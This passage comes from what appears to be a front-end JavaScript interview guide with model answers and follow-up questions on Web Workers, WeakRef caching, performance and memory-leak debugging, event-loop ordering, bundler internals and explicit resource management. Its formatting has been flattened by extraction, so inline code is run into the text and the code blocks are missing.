import()(dynamic import) andrequire.ensure()in Webpack? How does the bundler determine chunk boundaries? - Your bundle analyzer shows two copies of
react-domat different versions (17.0.2 and 18.2.0). How did this happen and how do you fix it?
S6. Web Workers: The Image Processing Pipeline
S6. Web Workers: The Image Processing Pipeline
- “Just create a worker and
postMessagethe image” — but do not address that the Canvas API is not available in workers (untilOffscreenCanvas), or that naivepostMessageof large image data causes serialization overhead. - Confuse Web Workers with Service Workers.
- Do not consider the worker pool pattern — suggest creating one worker per image (spawning 20 workers simultaneously will thrash the CPU).
- Architecture — Worker Pool pattern:
- Data transfer strategy — Transferable objects: When you
postMessage(buffer, [buffer]), theArrayBufferis transferred (zero-copy move), not cloned. The main thread loses access to the buffer, but there is no serialization cost. For a 10MB image, this is the difference between ~50ms (structured clone) and ~0ms (transfer). - OffscreenCanvas: Since 2019 (Chrome 69+), workers can use
OffscreenCanvasfor GPU-accelerated image manipulation: - Progress reporting: Use
postMessagewith a discriminated union type for progress updates: - Fallback: If
OffscreenCanvasis not supported, fall back to main-thread processing with time-slicing (process one image at a time withrequestIdleCallbackbetween steps). - War story: “At a photo-sharing startup, we processed user uploads client-side before sending to the CDN. We used a pool of 4 workers with
OffscreenCanvasandTransferablebuffers. Processing 20 photos went from 60 seconds of frozen UI to 12 seconds with a fully responsive progress bar. The key insight was usingnavigator.hardwareConcurrencyto size the pool — on a 2-core mobile device, we used 1 worker instead of 4 to avoid thrashing.”
- What is the difference between
Transferableobjects andSharedArrayBuffer? When would you use one over the other? - Can you use
importstatements inside a Web Worker? What istype: 'module'in theWorkerconstructor, and what are the browser support implications? - How would you handle a scenario where a worker crashes (unhandled error)? How do you detect it, restart the worker, and retry the task?
S7. SharedArrayBuffer: The Real-Time Collaborative Editor
S7. SharedArrayBuffer: The Real-Time Collaborative Editor
S8. WeakRef and FinalizationRegistry: The Smart Cache That Knows When to Let Go
S8. WeakRef and FinalizationRegistry: The Smart Cache That Knows When to Let Go
Map, and users with many open files see memory usage balloon to 1GB+. You cannot use an LRU cache because access patterns are unpredictable — a file untouched for an hour might suddenly be needed. You want a cache that automatically releases entries when memory pressure is high (i.e., when the GC would collect the objects anyway). Design this using WeakRef and FinalizationRegistry.What weak candidates say:- Confuse
WeakRefwithWeakMap. AWeakMaphas weak keys (the key is held weakly), while aWeakRefis a weak reference to a value (the target may be collected at any time). - Assume
FinalizationRegistrycallbacks fire immediately or synchronously after GC. They do not — the spec says they may fire “at some point” or never. - Do not understand that
WeakRef.deref()may returnundefinedat any time, meaning every access must handle the cache-miss case.
- Design:
- Critical caveats:
- No timing guarantees:
FinalizationRegistrycallbacks are best-effort. The spec explicitly says: “implementations are not required to call cleanup callbacks.” Do not use them for critical resource cleanup (file handles, network connections). Usetry/finallyor explicitdispose()methods for that. deref()can return undefined between two successive calls: GC can run at any time. Always capture the result:const obj = ref.deref(); if (obj) use(obj);— neverif (ref.deref()) ref.deref().prop.- Interaction with DevTools: Having DevTools open with “Collect garbage” button or heap snapshots can artificially keep objects alive. This makes testing WeakRef-based code tricky.
- Not a substitute for LRU:
WeakReflets the GC decide when to evict. You have no control over eviction order. If you need deterministic eviction (e.g., “keep most recently used 100 items”), use a proper LRU cache.WeakRefis for “keep it if memory allows, recompute if not.”
- No timing guarantees:
- Hybrid approach: Combine LRU for hot entries with
WeakReffor warm entries: - War story: “On an online IDE, we cached parsed ASTs for open files in a plain Map. Users with 50+ tabs consumed 1.2GB. We switched to a
WeakRef-based cache withFinalizationRegistryfor cleanup. Memory dropped to ~400MB because the GC could now reclaim ASTs for backgrounded tabs. The reparse cost on cache miss was ~50ms per file, which users never noticed because it only happened when switching to a tab they had not touched in minutes.”
- The TC39 proposal for
WeakRefexplicitly warns against usingFinalizationRegistryfor “important” cleanup. What are examples of cleanup that IS appropriate vs IS NOT appropriate forFinalizationRegistry? - How does
WeakRefinteract withstructuredClone? Can you clone aWeakRef? What happens if youpostMessagean object that is only weakly referenced? - In your
SmartCache, what happens if someone holds a strong reference to the cached value externally? Does theFinalizationRegistrycallback ever fire? How does this affect your cache’s memory behavior?
12. Work-Sample Debugging Scenarios
W1. The 60fps Jank Investigation
W1. The 60fps Jank Investigation
- “Just add virtualization to the table.” They jump to solutions without diagnosing the root cause. The jank might not be the table at all.
- “Profile it with
console.time.”console.timedoes not tell you which phase (scripting, layout, paint, composite) is the bottleneck. - Cannot articulate a systematic debugging methodology.
- Step 1: Reproduce and measure. Open Chrome DevTools Performance tab. Record a 5-second interaction (scrolling, filtering). Look at the flame chart for long tasks (>50ms, marked with a red triangle). Check the “Main” thread for blocking JavaScript, and the “Frames” row for dropped frames.
- Step 2: Identify the bottleneck phase. Is the long task in Scripting (JS execution), Rendering (style/layout), or Painting? Each has a different fix:
- Scripting: A filter function running on every scroll event processing 5,000 objects. Fix: debounce or throttle the filter, move computation to a Web Worker, or memoize the filtered results.
- Layout (purple bars): Layout thrashing from interleaved reads and writes. Fix: batch DOM reads then writes (fastdom pattern), or use
transforminstead oftop/leftfor animations. - Paint (green bars): Complex CSS (box-shadows, filters) on too many elements. Fix: promote expensive elements to their own layer with
will-change: transform, reduce paint area.
- Step 3: Investigate the “worked fine last sprint” claim. Check
git logfor changes since last release. Look for: new event listeners without cleanup, a removeduseMemoorReact.memo, a dependency update that broke tree shaking (bundle size increased), or a new analytics script injected into the page. - Step 4: Fix and validate. Apply the fix. Re-record in Performance tab. Verify long tasks are under 50ms (good for INP). Check that the “Frames” row shows consistent 16.6ms frame timing. Set up a Performance budget in CI (Lighthouse CI) to prevent regression.
- The Performance tab shows a 150ms “Recalculate Style” event. What could cause that, and how do you narrow it down?
- You identify that a third-party analytics script is causing the jank. You cannot remove it. What are your options?
- How would you set up automated performance regression detection in CI to prevent this from happening again?
W2. The SPA Memory Leak Investigation
W2. The SPA Memory Leak Investigation
- “React handles memory automatically.” React helps, but does not prevent all leaks.
- Check only for obvious things like global variables.
- Do not know how to take or compare Heap Snapshots.
- Step 1: Confirm the leak. Open DevTools Memory tab. Take Heap Snapshot (baseline). Navigate to Page A, then back. Force GC (trash can icon). Take another snapshot. If heap grew, you have a leak. Repeat 5 times to see the growth pattern.
- Step 2: Identify leaked objects. Select “Comparison” view between snapshots. Sort by “Delta” to see which object types are growing. Common culprits:
Detached HTMLDivElement(DOM nodes removed from the tree but still referenced by JS),(closure)entries (event handlers or timers holding closures), growingArrayorMapinstances (caches without eviction). - Step 3: Trace the retainer chain. Click on a leaked object and check the “Retainers” panel. This shows the reference chain keeping it alive. Follow the chain to the root cause. Common findings:
- Event listener added on
windowordocumentin auseEffectwithout a cleanup return setIntervalstarted in a component that is neverclearInterval’d on unmount- A context provider or Redux store accumulating history entries
- A WebSocket
onmessagehandler that creates closures over component state
- Event listener added on
- Step 4: Fix and validate. Add
useEffectcleanup functions. ReplacesetIntervalwith a pattern that clears on unmount. For caches, addWeakMapor LRU eviction. Re-run the navigation test and verify heap returns to baseline after GC. - Step 5: Prevent recurrence. Add
why-did-you-renderin development. Consider a memory regression test: Puppeteer script that navigates 20 times and asserts heap stays under a threshold.
- The “Retainers” panel shows a
MutationObservercallback is keeping 500 detached DOM trees alive. How does that happen and how do you fix it? - Your memory test in CI shows the leak only appears in production builds (not dev). What could differ between them?
- How would you implement a “memory pressure” warning that degrades the UX gracefully (fewer cached pages, lower-resolution images) before the tab crashes?
W3. The Silent Async Failure
W3. The Silent Async Failure
async/await. The developer says “it works on my machine.” Systematically diagnose the issue.What weak candidates say:- “Add a
console.logto the click handler.” This is a starting point but not a methodology. - Do not consider the possibility of swallowed errors or race conditions.
- Hypothesis 1: The click handler is not attached. Check the Elements panel -> Event Listeners tab on the button. If no listener, check React DevTools for the component — is it rendered? Is the
onClickprop being passed? Common cause: conditional rendering or key-based remount that detaches the handler. - Hypothesis 2: The async function throws but the error is swallowed. The most common pattern:
onClick={handleSubmit}wherehandleSubmitis async but there is no.catch()or try/catch. IfhandleSubmitthrows before reachingawait fetch(...), the promise rejects silently (unhandled rejection). Check the Console for “Unhandled promise rejection” warnings. Fix: wrap the entire handler in try/catch with user-visible error reporting. - Hypothesis 3: The
awaitis stuck on a promise that never settles. Check the Network tab — is there a pending request that never completes? A hung promise means the function is suspended forever at theawaitline. This happens with: misconfiguredAbortControllerthat aborts before the request fires, a promise created withnew Promise()whereresolve/rejectis never called, or a deadlock in a custom queue system. - Hypothesis 4: A validation guard returns early before the network call. Add a breakpoint at the start of the handler. Step through line by line. Often, a form validation check returns early for an edge case the developer did not test (e.g., a field that is
""on one machine andnullon another due to default values). - Hypothesis 5: “Works on my machine” difference. Check for environment differences: different API URL (env variable), different auth state (expired token), browser extension intercepting requests (ad blocker blocking the API domain), or CSP headers blocking the request on staging.
- You find the error is
TypeError: Cannot read properties of undefined (reading 'id')deep in the async chain. The error is swallowed. How would you architect the error boundary to prevent silent failures across the entire app? - How does ESLint’s
no-floating-promisesrule (from typescript-eslint) prevent this class of bug? - The form works in Chrome but not Firefox. What browser-specific differences in async behavior or form handling would you check?
W4. The Bundle Size Regression
W4. The Bundle Size Regression
- “Just lazy-load more routes.” That might help but does not address the root cause.
- Cannot describe how to analyze a production bundle.
- Step 1: Compare bundle composition. Run
npx webpack-bundle-analyzer(ornpx source-map-explorer dist/main.js.map) on both the old and new builds. Visually compare the treemaps side by side. Look for new large rectangles — these are the new or unexpectedly enlarged modules. - Step 2: Identify the culprit. Common causes:
- A new dependency that pulled in a large transitive dependency (e.g., adding
momentfor one date formatting call, which brings 72KB). - A barrel file import (
import { x } from './utils') that now re-exports a heavy module that was added to utils. - A
require()call that was added (CJS defeats tree shaking). - A configuration change that disabled tree shaking or minification.
- Webpack switched to a different chunk splitting strategy after an upgrade.
- A new dependency that pulled in a large transitive dependency (e.g., adding
- Step 3: Fix. Replace the heavy dependency with a lighter alternative (
moment->date-fnsor nativeIntl). Change barrel imports to direct imports. Ensure"sideEffects": falseis set. If a new feature genuinely needs the code, lazy-load it withReact.lazy()+Suspense. - Step 4: Prevent recurrence. Add a bundlesize check in CI:
npx bundlesize --max-size 200kB gzip. Tools:bundlesize,size-limit, or Lighthouse CI with a performance budget. Fail the build if the budget is exceeded. Also addimport-costVS Code extension for the team to see dependency sizes at import time.
- The bundle analyzer shows that
lodashappears twice — once as ESM and once as CJS. How does that happen and how do you deduplicate? - You need to add a 150KB charting library that is only used on one admin page. What is your code-splitting strategy?
- How does HTTP/2 multiplexing change the calculus around bundle splitting? Is one big bundle or many small chunks better?
13. Advanced Concepts (Event Loop Internals, Module Bundling, Modern APIs)
A1. Microtask vs Macrotask: The Complete Priority Model
A1. Microtask vs Macrotask: The Complete Priority Model
- Synchronous code on the call stack (highest priority, runs to completion)
process.nextTick(Node.js only — runs before ALL microtasks, between event loop phases)- Microtasks —
Promise.then/catch/finally,queueMicrotask(),MutationObserver. Drain completely, including microtasks spawned by microtasks. - requestAnimationFrame callbacks — Run once per frame, just before the browser paints. Not in either queue — separate list.
- Macrotasks (one per iteration) —
setTimeout,setInterval,setImmediate(Node), I/O callbacks,MessageChannel. - requestIdleCallback — Runs during idle periods when the browser has no other work. Gets a
deadlineobject with remaining idle time. scheduler.postTask('background')(Scheduler API) — Lowest priority, cooperative yielding.
MessageChannel trick for yielding to the browser:requestAnimationFrame, requestIdleCallback, and the Scheduler API appropriately? Staff-level candidates should know that React’s concurrent rendering uses MessageChannel internally for scheduling.Red flag answer: “There are just two queues: microtask and macrotask.” The real model includes rAF, rIC, and priority-based scheduling. Also: not knowing that setTimeout(fn, 0) has a 4ms minimum delay in browsers after 5 nested calls.Follow-up questions:- “Why does React use
MessageChannelinstead ofsetTimeoutfor its scheduler?” —setTimeout(fn, 0)has a minimum 4ms delay (clamped by the browser after 5 nested calls). For a framework that needs to flush state updates as quickly as possible after yielding, 4ms is unacceptable — at 60fps you only have 16.6ms per frame.MessageChannelfires as a true macrotask with no artificial delay. React’s scheduler posts a message, yields to the browser for input/paint, then continues work in theonmessagehandler. - “How does
queueMicrotaskdiffer fromPromise.resolve().then()and when would you use it?” — Both schedule microtasks.queueMicrotaskis slightly cheaper because it does not create a Promise object. Use it when you need to defer work to after the current synchronous execution but before any macrotask or render, and you do not need the promise chain semantics. Use case: batching DOM updates across multiple synchronous calls. - “What is
Atomics.waitAsyncand how does it fit into the task model?” —Atomics.waitAsync()(usable on the main thread, unlikeAtomics.wait()) returns a promise that resolves when a shared memory location changes. It bridges shared-memory concurrency with the promise/microtask model, allowing the main thread to wait for a worker’s result without blocking.
A2. Module Bundling Internals: How Webpack/Rollup/Vite Actually Work
A2. Module Bundling Internals: How Webpack/Rollup/Vite Actually Work
- Entry resolution — Start from entry points (
src/index.js). Resolveimportpaths to actual file paths using Node resolution algorithm (or custom aliases). - Dependency graph construction — Parse each module’s AST, extract
import/export/requirestatements, recursively resolve dependencies. The result is a directed graph. - Transformation — Apply loaders/plugins: TypeScript -> JS (esbuild/swc/tsc), JSX -> JS, CSS Modules -> JS, image imports -> asset URLs. Each file passes through its configured transform pipeline.
- Tree shaking — Mark unused exports as dead code. Walk the dependency graph from entry points, tracking which bindings are actually consumed. Remove unclaimed exports.
- Chunk splitting — Split the graph into chunks based on: entry points (multi-page), dynamic
import()boundaries, and shared module extraction (vendor chunk). Each chunk becomes a separate output file. - Scope hoisting / module concatenation — Merge modules that can be safely inlined into a single scope (fewer function wrappers, better minification).
- Minification — Remove whitespace, rename variables, evaluate constant expressions, remove dead branches (Terser, esbuild, or SWC).
| Tool | Strengths | Weaknesses | Best for |
|---|---|---|---|
| Webpack | Most configurable, huge plugin ecosystem, code splitting | Slow (JS-based), complex config | Large production apps with complex needs |
| Rollup | Best tree shaking, smallest output, scope hoisting | Slower dev server, less HMR support | Library authoring |
| esbuild | 10-100x faster (Go-based), good tree shaking | Less configurable, no full CSS support | Build step in larger toolchains |
| Vite | Fast dev (native ESM, no bundling), uses Rollup for prod | Young plugin ecosystem | Modern web apps, best DX |
import './Button.jsx', the browser requests it, Vite transforms it (JSX -> JS) on the fly, and serves it. No bundling step. Dependencies from node_modules are pre-bundled with esbuild (once, on first run) because npm packages often use CJS and have thousands of internal modules that would cause thousands of HTTP requests.What interviewers are really testing: Can you explain what a bundler does beyond “it combines files”? Do you understand why Vite is faster in development? Can you debug a code-splitting issue or a tree-shaking failure?Red flag answer: “Vite does not use a bundler.” Vite uses esbuild for dependency pre-bundling and Rollup for production builds. It skips bundling only in development for your source code.Follow-up questions:- “Why does Vite pre-bundle dependencies but not your source code in dev mode?” — Your source code changes frequently (HMR needs to be fast), and each file is small. Dependencies from
node_moduleschange rarely but can have thousands of internal modules (e.g., lodash has 600+ files). Without pre-bundling,import lodashwould trigger 600 HTTP requests. esbuild pre-bundles these into a single file per dependency, cached untilnode_moduleschanges. - “How does code splitting interact with HTTP/2?” — HTTP/2 multiplexes requests over a single connection, reducing the cost of multiple small files. This makes finer-grained code splitting viable (more chunks, smaller each). However, each chunk still has HTTP overhead (headers, TLS round-trips) and cannot be compressed across chunks (one chunk cannot reference strings from another). The sweet spot is typically 5-15 chunks, not 200.
- “How would you configure code splitting for a micro-frontend architecture?” — Use Module Federation (Webpack 5) or import maps. Each micro-frontend is a separately built bundle that exposes components via a remote entry. The shell app dynamically imports components from remotes. Shared dependencies (React, design system) are configured as shared modules to avoid duplication. The key challenge is version skew: what if micro-frontend A uses React 18.2 and B uses React 18.3?
A3. `using` Declarations and Explicit Resource Management (ES2024+)
A3. `using` Declarations and Explicit Resource Management (ES2024+)
using declaration (part of the Explicit Resource Management proposal, Stage 3 / shipping in TypeScript 5.2+ and modern runtimes) is JavaScript’s answer to Python’s with statement, C#‘s using, or Go’s defer. It ensures that resources are cleaned up deterministically when a scope exits, even if an error is thrown.- Eliminates the
try/finallyboilerplate that developers frequently forget, especially with multiple resources. - Works with existing patterns: Database connections, file handles, locks, timers, event listeners, and AbortControllers can all be made disposable.
- Pairs with
AbortController:using controller = new AbortController()could auto-abort on scope exit.
- “How does
usinginteract with async/await?” —usingworks for synchronousSymbol.dispose. For async cleanup (closing connections, flushing buffers), useawait usingwithSymbol.asyncDispose. Theawaitensures the disposal completes before the scope exits. - “How would you retrofit an existing library (like a database client) to support
Symbol.dispose?” — Add the[Symbol.asyncDispose]method that calls the existingclose()orend()method. For third-party code you cannot modify, wrap it:function disposable(resource, cleanup) { resource[Symbol.dispose] = cleanup; return resource; }. - “What happens if the disposal itself throws an error?” — If both the main code AND the disposal throw, the errors are combined into a
SuppressedError(a new error type). The main error isSuppressedError.error, the disposal error isSuppressedError.suppressed. This prevents the disposal error from masking the original error.